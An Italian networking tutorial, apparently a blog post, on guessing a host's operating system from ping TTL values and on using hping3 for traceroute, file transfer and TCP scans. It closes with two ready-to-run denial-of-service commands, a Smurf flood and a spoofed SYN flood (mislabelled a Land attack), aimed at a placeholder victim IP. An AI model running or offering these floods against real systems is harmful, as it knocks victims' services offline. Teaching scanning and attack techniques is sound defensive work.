OS Fingerprinting: Individuare il sistema operativo attraverso il comando Ping

Ping (Packet internet groper) è un'utility di amministrazione per reti generalmente utilizzata per verificare la presenza e la raggiungibilità di un dispositivo di rete (Host) su una rete IP (Internet Protocol). 

Ping invia un pacchetto ICMP (Internet Control Message Protocol) di tipo Echo Request al sistema target e rimane in attesa di un pacchetto ICMP di tipo Echo Reply di risposta (solitamente la parte del sistema operativo dedicata alla gestione dello stack di rete è programmato per rispondere automaticamente con un pacchetto Echo Reply alla ricezione di un pacchetto Echo Request). In questo modo viene misurato il tempo, in millisecondi, impiegato da uno o  più pacchetti ICMP a raggiungere un dispositivo di rete e a ritornare indietro consentendo di misurare anche le latenze di trasmissione di rete.

Il Time to live (TTL) si riferisce alla quantità di tempo o salti (conosciuti anche con il termine HOPS e che rappresentano, in pratica, il numero di reti attraversate per raggiungere il destinatario) che un pacchetto è impostato per esistere all'interno di una rete prima di essere scartato da un router. I valori di default del TTL differiscono tra i vari sistemi operativi (si veda la tabella) il che consente di effettuare una prima ipotesi sul sistema operativo installato sull'host che si sta analizzando (OS fingerprinting).

Device / OS	Version	Protocol	TTL
AIX		TCP	60
AIX		UDP	30
AIX	3.2, 4.1	ICMP	255
BSDI	BSD/OS 3.1 and 4.0	ICMP	255
Compa	Tru64 v5.0	ICMP	64
Cisco		ICMP	254
DEC Pathworks	V5	TCP and UDP	30
Foundry		ICMP	64
FreeBSD	2.1R	TCP and UDP	64
FreeBSD	3.4, 4.0	ICMP	255
FreeBSD	5	ICMP	64
HP-UX	9.0x	TCP and UDP	30
HP-UX	10.01	TCP and UDP	64
HP-UX	10.2	ICMP	255
HP-UX	11	ICMP	255
HP-UX	11	TCP	64
Irix	5.3	TCP and UDP	60
Irix	6.x	TCP and UDP	60
Irix	6.5.3, 6.5.8	ICMP	255
juniper		ICMP	64
MPE/IX (HP)		ICMP	200
Linux	2.0.x kernel	ICMP	64
Linux	2.2.14 kernel	ICMP	255
Linux	2.4 kernel	ICMP	255
Linux	Red Hat 9	ICMP and TCP	64
MacOS/MacTCP	2.0.x	TCP and UDP	60
MacOS/MacTCP	X (10.5.6)	ICMP/TCP/UDP	64
NetBSD		ICMP	255
Netgear FVG318		ICMP and UDP	64
OpenBSD	2.6 & 2.7	ICMP	255
OpenVMS	07.01.2002	ICMP	255
OS/2	TCP/IP 3.0		64
OSF/1	V3.2A	TCP	60
OSF/1	V3.2A	UDP	30
Solaris	2.5.1, 2.6, 2.7, 2.8	ICMP	255
Solaris	2.8	TCP	64
Stratus	TCP_OS	ICMP	255
Stratus	TCP_OS (14.2-)	TCP and UDP	30
Stratus	TCP_OS (14.3+)	TCP and UDP	64
Stratus	STCP	ICMP/TCP/UDP	60
SunOS	4.1.3/4.1.4	TCP and UDP	60
SunOS	5.7	ICMP and TCP	255
Ultrix	V4.1/V4.2A	TCP	60
Ultrix	V4.1/V4.2A	UDP	30
Ultrix	V4.2 – 4.5	ICMP	255
VMS/Multinet		TCP and UDP	64
VMS/TCPware		TCP	60
VMS/TCPware		UDP	64
VMS/Wollongong	1.1.1.1	TCP	128
VMS/Wollongong	1.1.1.1	UDP	30
VMS/UCX		TCP and UDP	128
Windows	for Workgroups	TCP and UDP	32
Windows	95	TCP and UDP	32
Windows	98	ICMP	32
Windows	98, 98 SE	ICMP	128
Windows	98	TCP	128
Windows	NT 3.51	TCP and UDP	32
Windows	NT 4.0	TCP and UDP	128
Windows	NT 4.0 SP5-		32
Windows	NT 4.0 SP6+		128
Windows	NT 4 WRKS SP 3, SP 6a	ICMP	128
Windows	NT 4 Server SP4	ICMP	128
Windows	ME	ICMP	128
Windows	2000 pro	ICMP/TCP/UDP	128
Windows	2000 family	ICMP	128
Windows	Server 2003		128
Windows	XP	ICMP/TCP/UDP	128
Windows	Vista	ICMP/TCP/UDP	128
Windows	7	ICMP/TCP/UDP	128
Windows	Server 2008	ICMP/TCP/UDP	128
Windows	10	ICMP/TCP/UDP	128

Per cercare di individuare il sistema operativo installato sull'Host target, basta eseguire un Ping. Supponiamo di voler analizzare un host che si trova sulla nostra stessa rete, il comando da eseguire sarà del tipo

ping 192.168.0.55

al posto dell'indirizzo IP possiamo utilizzare il nome Host.

FIG 1 - Time to live 64

Come visibile in FIG 1, l'Host target ha risposto al ping con un TTL a 64 che, visionando i valori in tabella, ci fa desumere che siamo davanti ad un sistema *nix/Linux.

Questo è il caso più semplice infatti, trovandoci sulla stessa rete dell'Host target, il TTL non viene decrementato.

Quando l'Host target si trova su un'altra rete bisogna tener conto anche degli HOPS. Ad esempio, supponiamo di voler indagare sul sistema operativo che ospita il sito www.cisco.com.

Eseguiamo il ping verso il sito web

ping www.cisco.com 

FIG 2 - Ping www.cisco.com

Il TTL restituito dal ping è 56 (FIG 2). Dato che mi aspetto si tratti di un sistema *nix/linux posso supporre che tra i due host, quello da cui è stato lanciato il comando e quello target, ci siano 8 router. Per verificarlo basta eseguire un traceroute.

In ambiente Windows il comando da eseguire è

tracert www.cisco.com

in ambiente linux il comando è

traceroute -n www.cisco.com

FIG 3 - TraceRoute

Come visibile da FIG 3 tra i due host ci sono 8 router (il nono è l'indirizzo della macchina target).

I risultati ottenibili con questa tecnica non sono affidabili al 100% anche se si tratta del metodo meno invasivo e che da meno nell'occhio. Innanzitutto, come visibile in tabella, più sistemi operativi hanno lo stesso TTL inoltre i valori di default possono essere modificati. Risultati più attendibili possono essere ottenuti utilizzando tool come p0f, nmap e xprobe.

Kali Linux: Introduzione a HPing3

HPing3 è un assemblatore/analizzatore di pacchetti TCP/IP a riga di comando. Oltre a supportare i protocolli TCP, UDP, ICMP e RAW-IP dispone di molte altre caratteristiche come la modalità traceroute e la possibilità di inviare file attraverso un canale "nascosto". Si tratta di un tool molto versatile che consente un controllo accurato su ogni flag del pacchetto.

Viene utilizzato per diversi scopi e contesti tra cui:
- Scansione avanzata porte:
- Test di firewall;
- Test di rete con l'utilizzo di diversi protocolli;
- Path MTU discovery
- Traceroute avanzato;
- Individuazione sistema operativo remoto (OS FingerPrinting);
- Individuazione tempo di attività di un sistema remoto;
- Controllo stack TCP/IP


HPing3 è già incluso in Kali Linux. Per visualizzare le opzioni e le modalità messe a disposizione del tool basta lanciare il seguente comando da terminale
hping3 -h 

usage: hping3 host [options]
  -h  --help      show this help
  -v  --version   show version
  -c  --count     packet count
  -i  --interval  wait (uX for X microseconds, for example -i u1000)
      --fast      alias for -i u10000 (10 packets for second)
      --faster    alias for -i u1000 (100 packets for second)
      --flood    sent packets as fast as possible. Don't show replies.
  -n  --numeric   numeric output
  -q  --quiet     quiet
  -I  --interface interface name (otherwise default routing interface)
  -V  --verbose   verbose mode
  -D  --debug     debugging info
  -z  --bind      bind ctrl+z to ttl           (default to dst port)
  -Z  --unbind    unbind ctrl+z
      --beep      beep for every matching packet received
Mode
  default mode     TCP
  -0  --rawip      RAW IP mode
  -1  --icmp       ICMP mode
  -2  --udp        UDP mode
  -8  --scan       SCAN mode.
                   Example: hping --scan 1-30,70-90 -S www.target.host
  -9  --listen     listen mode
IP
  -a  --spoof      spoof source address
  --rand-dest      random destionation address mode. see the man.
  --rand-source    random source address mode. see the man.
  -t  --ttl        ttl (default 64)
  -N  --id         id (default random)
  -W  --winid      use win* id byte ordering
  -r  --rel        relativize id field          (to estimate host traffic)
  -f  --frag       split packets in more frag.  (may pass weak acl)
  -x  --morefrag   set more fragments flag
  -y  --dontfrag   set don't fragment flag
  -g  --fragoff    set the fragment offset
  -m  --mtu        set virtual mtu, implies --frag if packet size > mtu
  -o  --tos        type of service (default 0x00), try --tos help
  -G  --rroute     includes RECORD_ROUTE option and display the route buffer
  --lsrr           loose source routing and record route
  --ssrr           strict source routing and record route
  -H  --ipproto    set the IP protocol field, only in RAW IP mode
ICMP
  -C  --icmptype   icmp type (default echo request)
  -K  --icmpcode   icmp code (default 0)
      --force-icmp send all icmp types (default send only supported types)
      --icmp-gw    set gateway address for ICMP redirect (default 0.0.0.0)
      --icmp-ts    Alias for --icmp --icmptype 13 (ICMP timestamp)
      --icmp-addr  Alias for --icmp --icmptype 17 (ICMP address subnet mask)
      --icmp-help  display help for others icmp options
UDP/TCP
  -s  --baseport   base source port             (default random)
  -p  --destport   [+][+] destination port(default 0) ctrl+z inc/dec
  -k  --keep       keep still source port
  -w  --win        winsize (default 64)
  -O  --tcpoff     set fake tcp data offset     (instead of tcphdrlen / 4)
  -Q  --seqnum     shows only tcp sequence number
  -b  --badcksum   (try to) send packets with a bad IP checksum
                   many systems will fix the IP checksum sending the packet
                   so you'll get bad UDP/TCP checksum instead.
  -M  --setseq     set TCP sequence number
  -L  --setack     set TCP ack
  -F  --fin        set FIN flag
  -S  --syn        set SYN flag
  -R  --rst        set RST flag
  -P  --push       set PUSH flag
  -A  --ack        set ACK flag
  -U  --urg        set URG flag
  -X  --xmas       set X unused flag (0x40)
  -Y  --ymas       set Y unused flag (0x80)
  --tcpexitcode    use last tcp->th_flags as exit code
  --tcp-mss        enable the TCP MSS option with the given value
  --tcp-timestamp  enable the TCP timestamp option to guess the HZ/uptime
Common
  -d  --data       data size                    (default is 0)
  -E  --file       data from file
  -e  --sign       add 'signature'
  -j  --dump       dump packets in hex
  -J  --print      dump printable characters
  -B  --safe       enable 'safe' protocol
  -u  --end        tell you when --file reached EOF and prevent rewind
  -T  --traceroute traceroute mode              (implies --bind and --ttl 1)
  --tr-stop        Exit when receive the first not ICMP in traceroute mode
  --tr-keep-ttl    Keep the source TTL fixed, useful to monitor just one hop
  --tr-no-rtt     Don't calculate/show RTT information in traceroute mode
ARS packet description (new, unstable)
  --apd-send       Send the packet described with APD (see docs/APD.txt)

Per visualizzare il manuale eseguire il comando
man hping3

Il protocollo di rete TCP (Transmission Control Protocol) fa parte del livello di trasporto e si occupa del controllo della trasmissione tra mittente e destinatario rendendola affidabile. La procedura utilizzata per instaurare in modo affidabile una connessione TCP tra due host è chiamata three-way handshake. Il nome deriva dalla necessità di scambiare tre messaggi tra il mittente e il destinatario al fine di stabilire una connessione affidabile.

• Nel primo messaggio il client (mittente) invia un pacchetto TCP con flag SYN al server (destinatario) sulla porta dove si ritiene quest'ultimo in ascolto;
• Se sulla porta in questione il server è realmente in ascolto, risponderà con un pacchetto con i flag SYN e ACK attivi (SYN/ACK);
• Il client confermerà l'avvenuta connessione inviando al server un pacchetto con il flag ACK attivo.

FIG 1 - TCP, Three-way Handshake

Tramite hping3 è possibile simulare il three-way handshake utilizzando un comando come il seguente 
hping3 -S -p 80 -c 1 server
-S indica l'invio di un pacchetto SYN.
-p Consente di specificare la porta di destinazione del pacchetto. In questo caso è stata specificata la porta 80 generalmente utilizzata nei server web.
-c Permette di specificare quanti pacchetti inviare. Nel comando sopra indicato viene inviato un solo pacchetto.
server Al suo posto va indicato l'indirizzo IP del server o il suo nome.

FIG 2 - HPing3, Avvio three-way handshake tramite pacchetto SYN

Dalla risposta del server (FIG 2) possiamo recuperare informazioni utili:

• flag=SA indica che i flag TCP sono attivi e il server ci ha risposto con SYN/ACK (la seconda fase della procedura three-way handshake).
• TTL=64 Il campo TTL (Time To Live), della dimensione di un byte, fa parte del header IP ed è un meccanismo che determina il tempo di vita di un pacchetto. Quando un pacchetto viene inviato, tale campo viene valorizzato con un valore compreso tra 1 e 255. Ad ogni salto (router che il pacchetto attraversa) il valore TTL viene decrementato di una unità. Quanto il valore TTL diventa 0, il pacchetto viene cancellato e al mittente viene inviato un pacchetto ICMP di avviso del tipo Time Exceeded. Generalmente gli apparati di rete assegnano a TTL il valore 255, i sistemi GNU/Linux (e anche molti altri sistemi *nix) assegnano il valore 64 mentre i sistemi Windows valorizzano tale campo a 128.

Il tool HPing3 è molto versatile e di seguito vengono mostrati alcuni degli utilizzi più comuni.

Trasferire file tramite HPing3

Per trasferire un file tramite HPing3 è necessario che sia il mittente che il destinatario dispongano del tool installato.
Sulla postazione del destinatario è necessario indicare a HPing3 di rimanere in ascolto. Tale operazione si esegue lanciando il seguente comando da terminale
hping3 --listen 192.168.1.11 -I eth0 --sign IDMSG1
--listen indica che la postazione è in ascolto. L'IP da passare al parametro è quello della postazione locale che deve rimanere in ascolto (destinatario).
--sign permette di specificare una firma per il messaggio. 

Sulla postazione del mittente è possibile inviare il file tramite il comando
hping3 192.168.1.11 --icmp --sign IDMSG1 -d 100 -c 1 --file file.txt
L'indirizzo IP passato a HPing3 è quello del destinatario.
La firma passata a --sign deve essere uguale a quella definita sulla postazione del destinatario.
L'opzione -d indica la dimensione dei dati.
All'opzione --file va passato il nome del file da inviare.

Test ICMP

Il seguente comando esegue un normale ping verso la destinazione specificata
hping3 -1 google.com

FIG 3 - HPing3, invio pacchetto ICMP (ping)

Traceroute tramite ICMP

HPing3 consente di eseguire un traceroute verso un target specifico utilizzando pacchetti ICMP e incrementando ogni volta di 1 il valore TTL. L'output del comando è simile a quello fornito da utility come tracert (in ambiente Windows) o traceroute (in ambiente Linux). L'opzione -V imposta un output dettagliato.
hping3 --traceroute -V -1 google.com

Il traceroute può essere eseguito anche verso una specifica porta.
hping3 --traceroute -V -S -p 80  google.com

Verifica porta tramite l'invio di un pacchetto Syn

Il comando è analogo a quello visto all'inizio di tale articolo
hping3 -V -S -p 80 server
Possiamo anche indicare, tramite l'opzione -s, la porta locale da cui far eseguire la scansione
hping3 -V -S -p 80 -s 4060 server

Chiudere la comunicazione tramite un pacchetto FIN

In una connessione TCP un pacchetto con flag FIN attivo viene utilizzato per avviare la routine di chiusura della connessione. Tramite il seguente comando e l'opzione -F è possibile inviare tale pacchetto ad un destinatario. Se non viene ricevuta alcuna risposta la porta è aperta. Nel caso di Firewall generalmente si riceve un pacchetto con i flag RST+ACK che indica la porta chiusa.
hping3 -c 1 -V -p 80 -s 4060 -F server

Xmas Scan

Con Xmas Scan viene impostato il numero di sequenza TCP a 0 e vengono attivati i flag URG, PSH e FIN all'interno del pacchetto. Se la porta TCP del destinatario è chiusa viene inviato un pacchetto TCP RST in risposta. Se la porta è aperta, il destinatario scarta il pacchetto TCP Xmas e non invia alcuna risposta.
hping3 -c 1 -V -p 80 -s 4060 -M 0 -UPF server

ACK Scan

Questo tipo di scansione può essere utilizzata per verificare la raggiungibilità di un dispositivo in rete quando il ping è bloccato. Nel caso la porta sia aperta si dovrebbe ricevere in risposta un pacchetto RST.
hping3 -c 1 -V -p 80 -s 4060 -A server

Null Scan

Con questo tipo di scansione viene impostato il numero sequenziale a 0 e nessun flag è attivo all'interno del pacchetto. Il pacchetto inviato prende il nome di TCP NULL. Se la porta TCP del destinatario è chiusa si riceve in risposta il pacchetto TCP RST. Se la porta è aperta il pacchetto TCP NULL viene scartato e non viene inviata alcuna risposta.
hping3 -c 1 -V -p 80 -s 4060 -Y server

Smurf Attack

Si tratta di un tipo di attacco DoS (denial-of-service). Il sistema destinatario viene inondato di messaggi ping inviati tramite uno spoofed broadcast.
hping3 -1 --flood -a IP_VITTIMA INDIRIZZO_BROADCAST

DOS Land Attack

Anche in questo caso siamo di fronte ad un attacco di tipo DoS. Si invia un numero elevato di pacchetti di una certa dimensione nel minor tempo possibile e con il flag SYN attivo.
hping3 -V -c 1000000 -d 120 -S -w 64 -p 445 -s 445 --flood --rand-source IP_VITTIMA
--flood: invia i pacchetti il più velocemente possibile e senza attendere una risposta.
--rand-source: permette di inviare pacchetti che sembrano provenire da IP diversi. Generalmente utilizzata per mettere in difficoltà i firewall.
-V  Verbose.
-c --count: numero di pacchetti da inviare.
-d --data: dimensione dei dati.
-S --syn: imposta il flag SYN attivo.
-w --win: winsize (default 64).
-p --destport: porta di destinazione.
-s --baseport: porta da cui viene inviato il pacchetto (default random).